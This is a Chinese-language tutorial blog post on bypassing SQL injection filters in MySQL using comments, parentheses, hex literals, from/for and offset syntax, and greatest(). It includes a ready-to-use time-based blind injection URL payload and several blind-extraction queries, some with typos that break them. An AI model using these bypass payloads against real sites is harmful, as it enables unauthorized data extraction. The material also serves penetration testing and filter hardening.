• SQL注入绕过技巧


    SQL注入绕过技巧 

    1、空格绕过、引号绕过、逗号绕过

     2、比较符绕过、注释符绕过、=绕过

    3、关键字绕过

     完整

    1.绕过空格(注释符/* */):

    最基本的绕过方法,用注释替换空格:

    /*  注释 */

    2.括号绕过空格:

    如果空格被过滤,括号没有被过滤,可以用括号绕过。

    在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

    例如:

    select(user())from dual where(1=1)and(2=2)

    这种过滤方法常常用于time based盲注,例如:

    ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

    (from for属于逗号绕过下面会有)

    上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

    3.引号绕过(使用十六进制):

    会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

    select column_name  from information_schema.tables where table_name="users"

    这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
    users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

    select column_name  from information_schema.tables where table_name=0x7573657273

    4.逗号绕过(使用from或者offset):

    在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

    select substr(database(0 from 1 for 1);
    select mid(database(0 from 1 for 1);

    对于limit可以使用offset来绕过:

    select * from news limit 0,1
    # 等价于下面这条SQL语句
    select * from news limit 1 offset 0

    5.比较符号(<>)绕过(使用greatest()):

    同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
    最常见的一个盲注的sql语句:

    select * from users where id=1 and ascii(substr(database(),0,1))>64

    此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
    那么上面的这条sql语句可以使用greatest变为如下的子句:

    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
    小丑竟是我自己
  • 相关阅读:
    Spring Boot应用的启动和停止(Spring Boot应用通过start命令启动)
    MySQL注释(转)
    MySQL命令行自动补全表名
    Linux后台运行命令nohub输出pid到文件(转)
    Spring Boot使用MyBatis 3打印SQL的配置
    MySQL常用的七种表类型(转)
    spring-boot-starter-data-redis与spring-boot-starter-redis两个包的区别
    Eclipse的JQuery提示插件-Spket(别试了,没什么效果,且安装设置麻烦)
    MySQL中的数据类型的长度范围和显示宽度(转)
    MySql基本数据类型(转)
  • 原文地址:https://www.cnblogs.com/lspbk/p/14440867.html
Copyright © 2020-2023  润新知